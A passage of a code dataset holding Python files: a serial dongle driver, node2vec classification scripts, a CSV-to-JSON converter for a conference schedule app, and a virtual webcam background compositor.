self._dongle.connect(port)\r\n if res == True:\r\n if self._dongle.ping() == True:\r\n print(\"...success\")\r\n return True\r\n print(\"...failure\")\r\n self._dongle.close()\r\n return False\r\n \r\n def autoconnectStart(self):\r\n if self.autoconnectThread == None:\r\n self.autoconnectThread= self.DongleConnectThread(self, period = 1)\r\n self.autoconnectThread.setName('Dongle Connect Thread')\r\n self.autoconnectThread.start()\r\n else:\r\n self.autoconnectThread.reconnect()\r\n \r\n def isConnected(self):\r\n return self.autoconnectThread.isConnected()\r\n \r\n def _isACK(self,reply):\r\n return (len(reply) != 0 and reply[0]==ord('A'))\r\n \r\n def _isSerialReady(self):\r\n if self.ser == None: return False\r\n try:\r\n self.ser.inWaiting()\r\n self.ser.write([])\r\n self.ser.read(size=0)\r\n except Exception:\r\n print(\"Dongle not ready! \", sys.exc_info())\r\n return False \r\n return True\r\n \r\n def wakeup(self):\r\n #if self.ser == None: return False\r\n if not self._isSerialReady(): return False\r\n self.lock.acquire()\r\n self.stat.dongleWakeup += 1\r\n for i in range(10):\r\n self.ser.write(bytes([0xff]))\r\n self.ser.flush()\r\n time.sleep(0.1)\r\n self.ser.read(self.ser.inWaiting())\r\n self.lock.release()\r\n return self.ping() \r\n \r\n def checkConnection(self, returnPing=True):\r\n if not self._isSerialReady(): \r\n self.autoconnectStart()\r\n return False\r\n if returnPing:\r\n return self.ping()\r\n else:\r\n return True\r\n \r\n def ping(self):\r\n if not self._isSerialReady(): return False\r\n self.lock.acquire()\r\n cTime = time.clock()\r\n self.ser.write(bytes([0xff]))\r\n self.ser.flush()\r\n reply = self.ser.read(1)\r\n lag = 1000*(time.clock()-cTime)\r\n if lag > 5:\r\n print(\"Dongle seems slow (%s ms), change latency timer to 1 ms in devicemanager...\" % int(lag)) \r\n self.lock.release()\r\n return self._isACK(reply)\r\n \r\n def setLed(self,val):\r\n if not self._isSerialReady(): return False\r\n self.lock.acquire()\r\n self.ser.write(bytes([0xfb]))\r\n self.ser.write(bytes([val]))\r\n self.ser.flush()\r\n reply = self.ser.read(1)\r\n self.lock.release()\r\n return self._isACK(reply)\r\n \r\n def setRGBLed(self,r,g,b):\r\n if not self._isSerialReady(): return False\r\n self.lock.acquire()\r\n self.ser.write(bytes([0xfa]))\r\n self.ser.write(bytes([r]))\r\n self.ser.write(bytes([g]))\r\n self.ser.write(bytes([b]))\r\n self.ser.flush()\r\n reply = self.ser.read(1)\r\n self.lock.release()\r\n return self._isACK(reply)\r\n \r\n def scanForModules(self):\r\n if not self._isSerialReady(): return False\r\n self.lock.acquire()\r\n self.ser.write(bytes([0xf4]))\r\n self.ser.flush()\r\n time.sleep(0.2)\r\n print(\"self.ser.inWaiting()=\",self.ser.inWaiting())\r\n reply = self.ser.read(self.ser.inWaiting())\r\n print(reply)\r\n for x in reply:\r\n print(x)\r\n self.lock.release()\r\n \r\n def setDongleBuzzer(self, tone):\r\n if not self._isSerialReady(): return False\r\n tone = int(tone)\r\n b0 = int(tone & 0xff)\r\n b1 = int((tone >> 8) & 0xff)\r\n self.lock.acquire()\r\n self.ser.write(bytes([0xf9]))\r\n self.ser.write(bytes([b1]))\r\n self.ser.write(bytes([b0]))\r\n self.ser.flush()\r\n reply = self.ser.read(1)\r\n res = self._isACK(reply)\r\n self.lock.release()\r\n return res\r\n\r\n def getDongleTime(self):\r\n if not self._isSerialReady(): return False\r\n self.lock.acquire()\r\n self.ser.write(bytes([0xf8]))\r\n self.ser.flush()\r\n reply = self.ser.read(1)\r\n if (not self._isACK(reply)):\r\n self.lock.release()\r\n return -1\r\n b = self.ser.read(4)\r\n res = b[0] + (b[1]<<8) + (b[2]<<16) + (b[3]<<24)\r\n self.lock.release()\r\n return res\r\n\r\n def stopDongle(self):\r\n if not self._isSerialReady(): return False\r\n self.lock.acquire()\r\n self.ser.write(bytes([0xf7]))\r\n self.ser.flush()\r\n reply = self.ser.read(1)\r\n res = self._isACK(reply)\r\n self.lock.release()\r\n return res\r\n \r\n def writeRadioPacket(self, data):\r\n if not self._isSerialReady(): return False\r\n self.lock.acquire()\r\n if not self.ser.inWaiting() == 0:\r\n self.stat.dongleBytesDropped += self.ser.inWaiting()\r\n print(\"Help!!!, throw away=\", self.ser.read( self.ser.inWaiting() ), \" Port latency must be lower (i.e 1ms)\")\r\n buffer = []\r\n buffer.append(0xfe)\r\n buffer.append(len(data))\r\n for b in data:\r\n buffer.append(b)\r\n self.ser.write(bytes(buffer))\r\n self.ser.flush()\r\n reply = self.ser.read(1)\r\n success = self._isACK(reply)\r\n if (success):\r\n self.stat.radioPackagesSentOk +=1\r\n else:\r\n self.stat.radioPackagesSentErr +=1\r\n if not self.ser.inWaiting() == 0:\r\n self.stat.dongleBytesDropped += self.ser.inWaiting()\r\n data = self.ser.read( self.ser.inWaiting() )\r\n print(\"Help!!!, throw away=\", data, \" Port latency must be lower (i.e 1ms)\")\r\n if len(data)!=0 and data[len(data)-1]==ord('A'):\r\n success = True\r\n self.lock.release()\r\n return success\r\n \r\n def readPacket(self, nBytes, nTimeout=1):\r\n if not self._isSerialReady(): \r\n print(\"not ready\")\r\n return\r\n self.lock.acquire()\r\n for _ in range(nTimeout):\r\n packet = self.ser.read(nBytes)\r\n if len(packet) == nBytes: break\r\n if len(packet) == nBytes: \r\n self.stat.radioPackagesReceiveOk +=1\r\n else:\r\n # print(\"timeout\")\r\n print(\"timeout, packet lenght = \", len(packet), \"required length = \", nBytes)\r\n self.stat.radioPackagesReceiveErr +=1\r\n self.lock.release()\r\n return packet\r\n \r\n def close(self):\r\n if self.ser == None: \r\n return\r\n self.lock.acquire()\r\n self.ser.close()\r\n self.ser = None\r\n self.lock.release()\r\n \r\n def getStatistics(self):\r\n return self.stat\r\n \r\n", "sub_path": "Fable-master/pc-software/python/api/dongle.py", "file_name": "dongle.py", "file_ext": "py", "file_size_in_byte": 10570, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "threading.Lock", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.platform.startswith", "line_number": 36, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 36, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 37, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 38, "usage_type": "call"}, {"api_name": "sys.platform.startswith", "line_number": 39, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 39, "usage_type": "attribute"}, {"api_name": "serial.Serial", "line_number": 40, "usage_type": "call"}, {"api_name": "sys.platform.startswith", "line_number": 41, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 41, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 43, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 44, "usage_type": "call"}, {"api_name": "sys.platform.startswith", "line_number": 45, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 45, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 47, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 49, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 52, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 56, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 59, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 61, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 61, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 78, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 80, "usage_type": "call"}, {"api_name": "serial.tools.list_ports.comports", "line_number": 89, "usage_type": "call"}, {"api_name": "serial.tools", "line_number": 89, "usage_type": "attribute"}, {"api_name": "sys.exc_info", "line_number": 121, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 133, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 150, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 154, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 187, "usage_type": "call"}]} {"seq_id": "139786133", "text": "from sklearn.multiclass import OneVsRestClassifier\nfrom sklearn import linear_model\nimport numpy as np\nfrom sklearn import metrics\nimport random\nfrom sklearn import datasets\n\ndef get_groups(args):\n \"\"\"\n 获得处理好的顶点类别分组\n :param groups_path: \n :return: \n \"\"\"\n groups = {}\n labels = set()\n with open(args.groups) as f:\n lines = f.readlines()\n for line in lines:\n words = line.split(\",\")\n if words[0] in groups:\n t = groups[words[0]]\n del groups[words[0]]\n t.append(words[1][:-1])\n groups[words[0]] = t\n else:\n groups[words[0]] = [words[1][:-1]]\n labels.add(words[1][:-1])\n\n return groups, labels\n\ndef get_data(num, embeddings, groups, class_num):\n \"\"\"\n 为了保证均匀性，对于每个1/10小组中的数据，我们选择\n :param label: 当前使用的类别label\n :param num: 分成num份\n :param model: word2vec获得的所有顶点的k维特征表示\n :return: 按照类别label划分成num份的list\n \"\"\"\n X = []\n Y = []\n\n for key in embeddings:\n # print(key)\n y = [0] * class_num\n for label in groups[key]: # 各个类别\n y[int(label)-1]=1\n Y.append(y)\n X.append(embeddings[key])\n\n return np.array(X),np.array(Y)\n\ndef get_split(k, num, X, Y):\n \"\"\"\n \n :param i: 正反类别各取(i+1)/10 \n :param num: 一共分成num份 \n :param X: 全部集合X\n :param Y: 全部集合Y\n :return: \n \"\"\"\n\n batch = int(1.0 * len(X) / num)\n train = random.sample(range(0, len(X)), k*batch)\n train_X = X[train]\n train_Y = Y[train]\n\n tot = [i for i in range(len(X))]\n test = list(set(tot) - set(train))\n test_X = X[test]\n test_Y = Y[test]\n\n return train_X,train_Y,test_X,test_Y\n\n\ndef read_embedding(args):\n \"\"\"\n 从node2vec中生成的文件中读取embedding\n :param args: \n :return: \n \"\"\"\n with open(args.output) as f :\n lines = f.readlines()\n num = int(lines[0].split(\" \")[0])\n dimension = int(lines[0].split(\" \")[1])\n lines = lines[1:]\n embeddings = {}\n for line in lines:\n words = line.split(\" \")\n embedding = []\n for j in range(1, len(words)):\n embedding.append(float(words[j]))\n embeddings[words[0]] = embedding\n return embeddings\n\ndef classification(args):\n \"\"\"\n 利用输入参数中顶点参数：\n :param groups_path: groups_path 顶点类别文件, model, 生成的每个单词的词向量 \n :param model: 每个顶点的维度向量，由word2vec得来\n :return: None\n \"\"\"\n\n embeddings = read_embedding(args)\n groups,groups_labels = get_groups(args)\n # print(groups_labels)\n\n num = 10\n ans = []\n X, Y = get_data(10, embeddings, groups, len(groups_labels))\n for i in range(1, num):\n # 不同比例的训练数据进行测试\n cnt = 0.0\n tot = 0.0\n #for label in groups_labels:\n # 把样本按照类别label分成10分\n\n train_X,train_Y,test_X,test_Y = get_split(i,10,X,Y)\n print(train_X.shape, train_Y.shape, test_X.shape, test_Y.shape)\n # print(X[0:1])\n # print(Y[0:1])\n \"\"\"\n if(len(set(train_Y))<=1):\n print(\"train set length <= 1.\")\n continue\n if(len(set(test_Y))<=1):\n print(\"test set length <= 1.\")\n continue\n \"\"\"\n\n clf = OneVsRestClassifier(linear_model.LogisticRegression(penalty='l2').fit(train_X, train_Y))\n # Z = clf.predict(np.c_[test_X.ravel(), test_Y.ravel()])\n y_pred = clf.predict(test_X)\n\n # print(\" pre=\" + str(np.mean(y_pred == test_Y)) + \" f1-score\" + metrics.classification_report(test_Y, y_pred)[145:149])\n print(metrics.classification_report(test_Y, y_pred))\n # cnt += float(metrics.classification_report(test_Y, y_pred)[145:149])\n #tot += 1.0\n #print(\"i:\" + str(i) + \" avg f1-score: \" + str(1.0*cnt/tot) + \"\\n\")\n #ans.append(1.0*cnt/tot)\n #print(ans)\n\n\nimport numpy\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.linear_model import LogisticRegression\n# from itertools import izip\nfrom sklearn.metrics import f1_score\nfrom scipy.io import loadmat\nfrom sklearn.utils import shuffle as skshuffle\nimport gensim\nfrom collections import defaultdict\nfrom scipy.sparse import lil_matrix\nfrom gensim.models import Word2Vec\n\nclass TopKRanker(OneVsRestClassifier):\n def predict(self, X, top_k_list):\n assert X.shape[0] == len(top_k_list)\n probs = numpy.asarray(super(TopKRanker, self).predict_proba(X))\n all_labels = []\n for i, k in enumerate(top_k_list):\n probs_ = probs[i, :]\n labels = self.classes_[probs_.argsort()[-k:]].tolist()\n all_labels.append(labels)\n return all_labels\n\ndef sparse2graph(x):\n G = defaultdict(lambda: set())\n cx = x.tocoo()\n for i,j,v in zip(cx.row, cx.col, cx.data):\n G[i].add(j)\n return {str(k): [str(x) for x in v] for k,v in G.items()}\n\ndef scoring(args):\n\n # 0. Files\n embeddings_file = '../../data/BlogCatalog-dataset/data/blog_'+str(0.25)+'_'+str(0.25)+'.emb'\n matfile = \"blogcatalog.mat\"\n\n # 1. Load Embeddings\n #model = Word2Vec.load_word2vec_format(embeddings_file)\n model = gensim.models.KeyedVectors.load_word2vec_format(embeddings_file)\n\n # 2. Load labels\n mat = loadmat(matfile)\n A = mat['network']\n graph = sparse2graph(A)\n labels_matrix = mat['group']\n print(labels_matrix)\n print(\"type(labels):\", type(labels_matrix)) #type(labels): <class 'scipy.sparse.csc.csc_matrix'>\n print(labels_matrix.shape)\n # Map nodes to their features (note: assumes nodes are labeled as integers 1:N)\n features_matrix = numpy.asarray([model[str(node)] for node in range(1,len(graph)+1)])\n\n # 2. Shuffle, to create train/test groups\n shuffles = []\n number_shuffles = 3\n for x in range(number_shuffles):\n shuffles.append(skshuffle(features_matrix, labels_matrix))\n\n # 3. to score each train/test group\n all_results = defaultdict(list)\n\n # training_percents = [0.1, 0.5, 0.9]\n # uncomment for all training percents\n training_percents = numpy.asarray(range(1,10))*.1\n for train_percent in training_percents:\n for shuf in shuffles:\n\n X, y = shuf\n\n training_size = int(train_percent * X.shape[0])\n\n X_train = X[:training_size, :]\n y_train_ = y[:training_size]\n\n y_train = [[] for x in range(y_train_.shape[0])]\n\n cy = y_train_.tocoo()\n for i, j in zip(cy.row, cy.col):\n y_train[i].append(j)\n\n assert sum(len(l) for l in y_train) == y_train_.nnz\n\n X_test = X[training_size:, :]\n y_test_ = y[training_size:]\n\n y_test = [[] for x in range(y_test_.shape[0])]\n\n cy = y_test_.tocoo()\n for i, j in zip(cy.row, cy.col):\n y_test[i].append(j)\n\n # clf = TopKRanker(LogisticRegression())\n clf = TopKRanker(LogisticRegression(penalty='l2'))\n clf.fit(X_train, y_train)\n\n # find out how many labels should be predicted\n top_k_list = [len(l) for l in y_test]\n preds = clf.predict(X_test, top_k_list)\n\n results = {}\n #averages = [\"samples\", \"micro\", \"macro\", \"weighted\"]\n averages = [\"micro\", \"macro\"]\n for average in averages:\n results[average] = f1_score(y_test, preds, average=average)\n print(results[average])\n all_results[train_percent].append(results)\n\n print('Results, using embeddings of dimensionality', X.shape[1])\n print('-------------------')\n for train_percent in sorted(all_results.keys()):\n print('Train percent:', train_percent)\n for x in all_results[train_percent]:\n print(x)\n print('-------------------')\n\n\nif __name__ == \"__main__\":\n print(\"hello, there is classify.\")\n\n", "sub_path": "node2vec/src/classify.py", "file_name": "classify.py", "file_ext": "py", "file_size_in_byte": 8160, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.array", "line_number": 50, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 63, "usage_type": "call"}, {"api_name": "sklearn.multiclass.OneVsRestClassifier", "line_number": 130, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 130, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 130, "usage_type": "name"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 135, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 135, "usage_type": "name"}, {"api_name": "sklearn.multiclass.OneVsRestClassifier", "line_number": 155, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 158, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 167, "usage_type": "call"}, {"api_name": "gensim.models.KeyedVectors.load_word2vec_format", "line_number": 181, "usage_type": "call"}, {"api_name": "gensim.models", "line_number": 181, "usage_type": "attribute"}, {"api_name": "scipy.io.loadmat", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 192, "usage_type": "call"}, {"api_name": "sklearn.utils.shuffle", "line_number": 198, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 205, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 234, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 245, "usage_type": "call"}]} {"seq_id": "155742943", "text": "import argparse\nimport os\nimport sys\nimport csv\nimport json\nimport datetime\nimport dateutil.parser as date_parser\nimport codecs\n\n# Parse Arguements\nparser = argparse.ArgumentParser()\nparser.add_argument('-f', '--file', help='CSV input file', required=True)\nargs = parser.parse_args()\nfile=args.file\n\n# Preflight Checks\nif not os.path.exists(file):\n sys.exit(\"Cannot find \"+file)\n\n# Helper functions\ndef check_in_list(item, list):\n if item in list:\n list.remove(item)\n return True\n else:\n print(\"Error, not in list\")\n return False\n\ndef choose_csv_column(hacker_tracker_field, csv_columns_left):\n output = \"\"\n while output == \"\":\n print(\"\\nColumns left: \"+str(csv_columns_left))\n user_input = str(input(\"Which column is \"+hacker_tracker_field+\"? \") or \"\")\n if check_in_list(user_input, csv_columns_left):\n output = user_input\n return (output, csv_columns_left)\n\ndef convert_to_isotime(text):\n date = date_parser.parse(text)\n return date.isoformat()\n\ndef set_endtime(iso_start_time, duration):\n print(duration)\n date_time_start = datetime.datetime.strptime(iso_start_time, '%Y-%m-%dT%H:%M:%S')\n end_time = date_time_start + datetime.timedelta(minutes=int(duration))\n return end_time.isoformat()\n\ndef get_speaker_id(speakers_list, speaker_handle, speaker_id, conference_code):\n # return speaker id if we already have it\n for speaker in speakers_list:\n if speaker['name'] == speaker_handle:\n return speakers_list, speaker['id']\n\n # Else just make a new one\n # Most of this is blank. Because Skytalks\n speaker_id += 1\n new_speaker_json = {}\n new_speaker_json.update({\"name\": speaker_handle})\n new_speaker_json.update({ \"updated_at\": datetime.datetime.now().isoformat()})\n new_speaker_json.update({\"description\": \"\"})\n new_speaker_json.update({\"title\": \"\"})\n new_speaker_json.update({\"id\": speaker_id})\n new_speaker_json.update({\"twitter\": \"\"})\n new_speaker_json.update({\"conference\": conference_code})\n new_speaker_json.update({\"link\": \"\"})\n speakers_list.append(new_speaker_json)\n return speakers_list, speaker_id\n\n# Lets chew in the CSV\ncsv_columns=[]\nlist_of_events=[]\nwith open(file) as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = 0\n for row in csv_reader:\n if line_count == 0:\n for item in row:\n csv_columns.append(item)\n print(f'Column names are {\", \".join(csv_columns)}')\n line_count += 1\n else:\n event_json={}\n for i in range(0,len(csv_columns)):\n event_json.update({csv_columns[i]: row[i]})\n list_of_events.append(event_json)\n line_count += 1\n\n# Alrighty then. Now to line up with the inputs hacker tracker needs\ncsv_columns_left = csv_columns\nprint(\"Set global values\")\nconference_code = str(input(\"Conference Code [DC27]: \") or \"DC27\")\nevent_type = int(input(\"Event Type [9]: \") or \"9\")\n#Uncomment if it's just one location\n#location = str(input(\"Location [Bally’s Las Vegas - Jubilee Tower 2nd floor]: \") or \"Bally’s Las Vegas - Jubilee Tower 2nd floor\")\n\nprint('\\n\\n')\nprint(\"Choose which CSV column headers to set to which Hacker Tracker Option\")\nstart_date, csv_columns_left = choose_csv_column(\"start_date\", csv_columns_left)\nduration, csv_columns_left = choose_csv_column(\"duration (in minutes)\", csv_columns_left)\ntitle, csv_columns_left = choose_csv_column(\"title\", csv_columns_left)\nspeakers, csv_columns_left = choose_csv_column(\"speakers\", csv_columns_left)\ndescription, csv_columns_left = choose_csv_column(\"description\", csv_columns_left)\nlocation, csv_columns_left = choose_csv_column(\"location\", csv_columns_left)\n'''\n# Hardcoded Skytalks Values\nconference_code = \"DC27\"\nevent_type = \"9\"\nlocation = \"Bally’s Las Vegas - Jubilee Tower 2nd floor\"\nstart_date = \"Day-Time\"\nduration = \"Duration\"\ntitle = \"Talk Title\"\nspeakers = \"Speaker(s)\"\ndescription = \"Talk Description\"\n'''\n# And finally, let's make some JSON\nschedule = []\nspeakers_list = []\nid = 1337\ncurrent_speaker_id = 7331\nfor event in list_of_events:\n # Check for empty keys caused by newlines\n print(event)\n if event[title] == \"\":\n pass\n else:\n hacker_tracker_event_json = {}\n hacker_tracker_event_json.update({\"start_date\": str(convert_to_isotime(event[start_date]))})\n hacker_tracker_event_json.update({\"id\": id})\n hacker_tracker_event_json.update({\"description\": event[description]})\n hacker_tracker_event_json.update({\"location\": event[location]})\n # Uncomment if just one location\n #hacker_tracker_event_json.update({\"location\": location})\n hacker_tracker_event_json.update({\"link\": \"\"})\n # hacker_tracker_event_json.update({\"speakers\": event[speakers].splitlines()})\n this_event_speakers=[]\n for speaker in event[speakers].split(\", \"):\n speakers_list, speaker_to_append = get_speaker_id(speakers_list, speaker, current_speaker_id, conference_code)\n this_event_speakers.append(speaker_to_append)\n if current_speaker_id < speaker_to_append:\n current_speaker_id = speaker_to_append\n hacker_tracker_event_json.update({\"speakers\": this_event_speakers})\n hacker_tracker_event_json.update({\"end_date\": str(set_endtime(convert_to_isotime(event[start_date]), event[duration]))})\n hacker_tracker_event_json.update({\"conference\": conference_code})\n hacker_tracker_event_json.update({\"event_type\": int(event_type)})\n hacker_tracker_event_json.update({\"includes\": \"\"})\n hacker_tracker_event_json.update({\"title\": event[title]})\n hacker_tracker_event_json.update({\"updated_at\": datetime.datetime.now().isoformat()})\n\n schedule.append(hacker_tracker_event_json)\n id += 1\n\nhacker_tracker_schedule_json = {}\nhacker_tracker_schedule_json.update({\"Schedule\": schedule})\nprint(json.dumps(hacker_tracker_schedule_json, indent=2, ensure_ascii=False))\n\nhacker_tracker_speakers_json = {}\nhacker_tracker_speakers_json.update({\"speakers\": speakers_list})\nprint(json.dumps(hacker_tracker_speakers_json, indent=2, ensure_ascii=False))\n\n# Let's write this sucker to a file\nwith codecs.open('events.json', 'w', 'utf-8') as events_file:\n events_file.write(json.dumps(hacker_tracker_schedule_json, indent=2, ensure_ascii=False))\nwith codecs.open('speakers.json', 'w', 'utf-8') as speakers_file:\n speakers_file.write(json.dumps(hacker_tracker_speakers_json, indent=2, ensure_ascii=False))", "sub_path": "csv-to-json.py", "file_name": "csv-to-json.py", "file_ext": "py", "file_size_in_byte": 6587, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 18, "usage_type": "call"}, {"api_name": "dateutil.parser.parse", "line_number": 39, "usage_type": "call"}, {"api_name": "dateutil.parser", "line_number": 39, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 44, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 45, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 59, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 59, "usage_type": "attribute"}, {"api_name": "csv.reader", "line_number": 73, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 147, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 147, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 154, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 158, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 161, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 162, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 163, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 164, "usage_type": "call"}]} {"seq_id": "95071268", "text": "import os\nimport cv2\nimport numpy as np\nimport requests\nimport pyfakewebcam\nfrom signal import signal, SIGINT\nfrom sys import exit\n\n# setup access to the *real* webcam\ncap = cv2.VideoCapture('/dev/video0')\nheight, width = 720, 1280\ncap.set(cv2.CAP_PROP_FRAME_HEIGHT, height)\ncap.set(cv2.CAP_PROP_FRAME_WIDTH, width)\ncap.set(cv2.CAP_PROP_FPS, 30)\n\n# In case the real webcam does not support the requested mode.\nheight = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\nwidth = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n\n# The scale factor for image sent to bodypix\nsf = 0.5\n\n# setup the fake camera\nfake = pyfakewebcam.FakeWebcam('/dev/video2', width, height)\n\n# declare global variables\nbackground = None\nforeground = None\nf_mask = None\ninv_f_mask = None\n\ndef load_images():\n global background\n global foreground\n global f_mask\n global inv_f_mask\n\n # load the virtual background\n background = cv2.imread(\"background.jpg\")\n background = cv2.resize(background, (width, height))\n\n foreground = cv2.imread(\"foreground.jpg\")\n foreground = cv2.resize(foreground, (width, height))\n\n f_mask = cv2.imread(\"foreground-mask.png\")\n f_mask = cv2.normalize(f_mask, None, alpha=0, beta=1,\n norm_type=cv2.NORM_MINMAX, dtype=cv2.CV_32F)\n f_mask = cv2.resize(f_mask, (width, height))\n f_mask = cv2.cvtColor(f_mask, cv2.COLOR_BGR2GRAY)\n inv_f_mask = 1 - f_mask\n\ndef handler(signal_received, frame):\n load_images()\n print('Reloaded the background and foreground images')\n\ndef get_mask(frame, bodypix_url='http://127.0.0.1:9000'):\n frame = cv2.resize(frame, (0, 0), fx=sf, fy=sf)\n _, data = cv2.imencode(\".png\", frame)\n r = requests.post(\n url=bodypix_url,\n data=data.tobytes(),\n headers={'Content-Type': 'application/octet-stream'})\n mask = np.frombuffer(r.content, dtype=np.uint8)\n mask = mask.reshape((frame.shape[0], frame.shape[1]))\n mask = cv2.resize(mask, (0, 0), fx=1/sf, fy=1/sf,\n interpolation=cv2.INTER_NEAREST)\n mask = cv2.dilate(mask, np.ones((20,20), np.uint8) , iterations=1)\n mask = cv2.blur(mask.astype(float), (30,30))\n return mask\n\ndef shift_image(img, dx, dy):\n img = np.roll(img, dy, axis=0)\n img = np.roll(img, dx, axis=1)\n if dy>0:\n img[:dy, :] = 0\n elif dy<0:\n img[dy:, :] = 0\n if dx>0:\n img[:, :dx] = 0\n elif dx<0:\n img[:, dx:] = 0\n return img\n\ndef get_frame(cap, background):\n _, frame = cap.read()\n # fetch the mask with retries (the app needs to warmup and we're lazy)\n # e v e n t u a l l y c o n s i s t e n t\n mask = None\n while mask is None:\n try:\n mask = get_mask(frame)\n except:\n print(\"mask request failed, retrying\")\n\n # composite the foreground and background\n for c in range(frame.shape[2]):\n frame[:,:,c] = frame[:,:,c] * mask + background[:,:,c] * (1 - mask)\n\n for c in range(frame.shape[2]):\n frame[:,:,c] = frame[:,:,c] * inv_f_mask + foreground[:,:,c] * f_mask\n\n return frame\n\nif __name__ == '__main__':\n load_images()\n signal(SIGINT, handler)\n print('Running...')\n print('Please press CTRL-\\ to exit.')\n print('Please CTRL-C to reload the background and foreground images')\n # frames forever\n while True:\n frame = get_frame(cap, background)\n # fake webcam expects RGB\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n fake.schedule_frame(frame)\n", "sub_path": "fakecam/fake.py", "file_name": "fake.py", "file_ext": "py", "file_size_in_byte": 3470, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.VideoCapture", "line_number": 10, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 12, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 13, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FPS", "line_number": 14, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 17, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pyfakewebcam.FakeWebcam", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.normalize", "line_number": 46, "usage_type": "call"}, {"api_name": "cv2.NORM_MINMAX", "line_number": 47, "usage_type": "attribute"}, {"api_name": "cv2.CV_32F", "line_number": 47, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 48, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 49, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.imencode", "line_number": 58, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 63, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.INTER_NEAREST", "line_number": 66, "usage_type": "attribute"}, {"api_name": "cv2.dilate", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 67, "usage_type": "attribute"}, {"api_name": "cv2.blur", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.roll", 